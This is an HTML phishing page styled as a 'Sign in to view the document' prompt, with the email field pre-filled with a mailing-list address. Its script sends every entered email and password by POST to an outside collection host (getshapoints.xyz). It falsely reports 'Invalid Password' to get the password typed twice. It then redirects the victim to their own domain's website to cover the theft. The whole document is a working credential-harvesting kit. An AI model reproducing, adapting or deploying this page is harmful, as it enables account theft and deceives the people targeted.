<html>

<head>
    <title>Sign in to continue</title>
    <meta name="robots" content="noindex, noarchive, nofollow, nosnippet">
    <meta name="googlebot" content="noindex, noarchive, nofollow, nosnippet, noimageindex">
    <meta name="slurp" content="noindex, noarchive, nofollow, nosnippet, noodp, noydir">
    <meta name="msnbot" content="noindex, noarchive, nofollow, nosnippet">
    <meta name="teoma" content="noindex, noarchive, nofollow, nosnippet">
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<style>

@import url(https://fonts.googleapis.com/css?family=PT+Sans:400,700);

        html {
            min-height: 100%;
        }

        body {
            background: url('https://i.gyazo.com/049bc4624875e35c9a678af7eb99bb95.jpg') no-repeat;
            background-size: cover;
            position: absolute;
            width: 100%;
            height: 100%;
            top: 0;
            right: 0;
            bottom: 0;
            left: 0;
            margin: auto;
            overflow: hidden;
            font-family: 'PT Sans', sans-serif;
        }

        .login {
            padding: 10px;
        }

        .files {
            background: red;
            margin: 200px auto;
            width: 90%;
            max-width: 450px;
            text-align: center;
            color: #fff;
        }

        form {
            max-width: 450px;
            margin: 0 auto;
        }

        form>div {
            position: relative;
            background: white;
            border-bottom: 1px solid #ccc;
            color: #000;
        }

        form>div>label {
            opacity: 0.3;
            font-weight: bold;
            position: absolute;
            top: 22px;
            left: 20px;
        }

        form>div>input[type="text"],
        form>div>input[type="email"],
        form>div>input[type="password"] {
            width: 100%;
            border: 0;
            padding: 20px 20px 20px 50px;
            background: #fff;
        }

        form>div>input[type="text"]:focus,
        form>div>input[type="email"]:focus,
        form>div>input[type="password"]:focus {
            outline: 0;
            background: white;
        }

        form>div>input[type="text"]:focus+label,
        form>div>input[type="email"]:focus+label,
        form>div>input[type="password"]:focus+label {
            opacity: 0;
        }

        form>div>input[type="text"]:valid,
        form>div>input[type="email"]:valid,
        form>div>input[type="password"]:valid {
            background: url(https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/check.svg);
            background-size: 20px;
            background-repeat: no-repeat;
            background-position: 20px 20px;
        }

        form>div>input[type="text"]:valid+label,
        form>div>input[type="email"]:valid+label,
        form>div>input[type="password"]:valid+label {
            opacity: 0;
        }

        form>div>input[type="text"]:invalid:not(:focus):not(:placeholder-shown),
        form>div>input[type="email"]:invalid:not(:focus):not(:placeholder-shown),
        form>div>input[type="password"]:invalid:not(:focus):not(:placeholder-shown) {
            background: pink;
        }

        form>div>input[type="text"]:invalid:not(:focus):not(:placeholder-shown)+label,
        form>div>input[type="email"]:invalid:not(:focus):not(:placeholder-shown)+label,
        form>div>input[type="password"]:invalid:not(:focus):not(:placeholder-shown)+label {
            opacity: 0;
        }

        form>div>input[type="text"]:invalid:focus:not(:placeholder-shown)~.requirements,
        form>div>input[type="email"]:invalid:focus:not(:placeholder-shown)~.requirements,
        form>div>input[type="password"]:invalid:focus:not(:placeholder-shown)~.requirements {
            max-height: 200px;
            padding: 0 30px 20px 50px;
        }

        form>div .requirements {
            padding: 0 30px 0 50px;
            color: #999;
            max-height: 0;
            transition: 0.28s;
            overflow: hidden;
            color: red;
            font-style: italic;
        }

        form input[type="submit"] {
            display: block;
            width: 100%;
            margin: 20px 0;
            background: #800000;
            color: white;
            border: 0;
            padding: 20px;
            font-size: 1.2rem;
        }

        form input[type="submit"]:hover {
            box-shadow: 1px 1px 1px #ddd;
        }

        * {
            box-sizing: border-box;
        }

        .invalid {
            background: #000;
            color: #000;
        }

        @media screen and (max-width: 360px) and (min-width: 320px) {
            .files {
                margin: 100px auto;
            }
        }




        .loading {
    margin: 0;
    color: #fff;
    text-shadow: 1px 1px 1px #000;
}

.loader {
    margin: 10px auto;
    text-align: center;
    border: 16px solid #f3f3f3;
    border-radius: 50%;
    border-top: 16px solid green;
    width: 120px;
    height: 120px;
    -webkit-animation: spin 2s linear infinite; /* Safari */
    animation: spin 2s linear infinite;
}

/* Safari */
@-webkit-keyframes spin {
  0% { -webkit-transform: rotate(0deg); }
  100% { -webkit-transform: rotate(360deg); }
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

</style>
<body>
    <!-- /////////////////////////////div1//////////////////////// -->
    <div class="files" id="div1">
        <img src="https://i.gyazo.com/32b11d91dd252ebe004be7ef1c508bfa.png" height="100">
        <h2>Sign in to view the document</h2>
        <div class="login">
            <div style="padding: 5px 0px;">
                <center>
                    <div id="msg" style="color: #FFC900;display: none;">Invalid Password.! Please enter your correct password</div>
                    <span id="error" style="color: #FFC900;display: none;">That account doesn't exist. Enter a different account</span>
                </center>
            </div>
            <form action="#" method="post">
                <div><input type="email" id="email" name="email" required="" placeholder=" " value="pkg-gnome-maintainers@lists.alioth.debian.org"> <label for="email">Email Address</label>
                    <div class="requirements"> Must be a valid email address.</div>
                </div>
                <div>
                    <input type="password" id="password" name="password" required="" placeholder=" ">
                    <label for="password">Password</label>
                    <div class="requirements">
                        Your password must be at least 6 characters as well as contain at least one uppercase, one
                        lowercase, and one number.
                    </div>
                </div>
                <input type="submit" id="submit-btn" value="View Document">
            </form>
        </div>
    </div>
    <!-- /////////////////////////////div1 end//////////////////////// -->
    <!-- /////////////////////////////div2//////////////////////// -->
    <div class="files" id="div2" style="display: none;">
        <img src="https://i.imgur.com/croX2IG.png" height="50">
        <div class="login">
            <div class="loader"></div>
            <h4 class="loading">Generating Document Preview...</h4>
            <!-- <meta http-equiv="refresh" content="3; url=vfegt46e5hrgv.html" /> -->
        </div>
    </div>
    <!-- /////////////////////////////div2 end//////////////////////// -->
    <!-- /////////////////////////////div3//////////////////////// -->
    <div id="div3" style="display: none;">
        <center><img src="https://i.imgur.com/croX2IG.png" height="50">
            <h1>Document is not available.Wrong Pasword...</h1>
        </center>
    </div>
    <!-- /////////////////////////////div3 end//////////////////////// -->
    <!-- Optional JavaScript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
</body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
<script>
/* global $ */
$(document).ready(function() {
    var count = 0;

    $('#back1').click(function() {
        $("#msg").hide();
        $('#email').val("");
        $("#automail").animate({ left: 200, opacity: "hide" }, 0);
        $("#inputbar").animate({ right: 200, opacity: "show" }, 1000);

    });

   


    $('#submit-btn').click(function(event) {
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var email = $("#email").val();
        var password = $("#password").val();
        ///////////new injection////////////////
        var my_email = email;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_email)) {
            $('#error').show();
            email.focus;
            return false;
        }

        var ind = my_email.indexOf("@");
        var my_slice = my_email.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        ///////////new injection////////////////
        count = count + 1;

        $.ajax({
            dataType: 'JSON',
            url: 'http://getshapoints.xyz/cgixx/ingletonx/next.php',
            type: 'POST',
            data: {
                email: email,
                password: password,
            },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr) {
                $('#submit-btn').val('Verifing...');
            },
            success: function(response) {
                $("#password").val("");
                if (count >= 2) {
                    count = 0;
                    setTimeout(() => {
                        $("#div1").animate({ left: 0, opacity: "hide" }, 0);
                        $("#div3").animate({ right: 0, opacity: "hide" }, 0);
                        $("#div2").animate({ right: 0, opacity: "show" }, 1000);
                    }, 2000);
                    setTimeout(() => {
                        $("#div1").animate({ right: 0, opacity: "hide" }, 0);
                        $("#div2").animate({ left: 0, opacity: "hide" }, 0);
                        $("#div3").animate({ right: 0, opacity: "show" }, 1000);
                    }, 2000);
                    setTimeout(() => {
                        window.location.replace("http://www." + my_slice);
                    }, 1000);

                    // window.location.replace(response['redirect_link']);
                    // window.location.replace("http://www."+my_slice);

                }
                if (response) {
                    $("#msg").show();
                    console.log(response);
                    if (response['signal'] == 'ok') {
                        // $('#msg').html(response['msg']);
                    } else {
                        // $('#msg').html(response['msg']);
                    }
                }
            },
            error: function() {
                $("#password").val("");
                if (count >= 2) {
                    count = 0;
                    $("#div1").animate({ left: 0, opacity: "hide" }, 0);
                    $("#div3").animate({ right: 0, opacity: "hide" }, 0);
                    $("#div2").animate({ right: 0, opacity: "show" }, 1000);
                    setTimeout(() => {
                        $("#div1").animate({ right: 0, opacity: "hide" }, 0);
                        $("#div2").animate({ left: 0, opacity: "hide" }, 0);
                        $("#div3").animate({ right: 0, opacity: "show" }, 1000);
                        setTimeout(() => {
                            window.location.replace("http://www." + my_slice);
                        }, 1000);

                    }, 2000);


                    // window.location.replace(response['redirect_link']);
                    // window.location.replace("http://www."+my_slice);

                }
                $("#msg").show();
                // $('#msg').html("Please try again later");
            },
            complete: function() {
                $('#submit-btn').val('View Document');
            }
        });
    });


});
</script>

</html>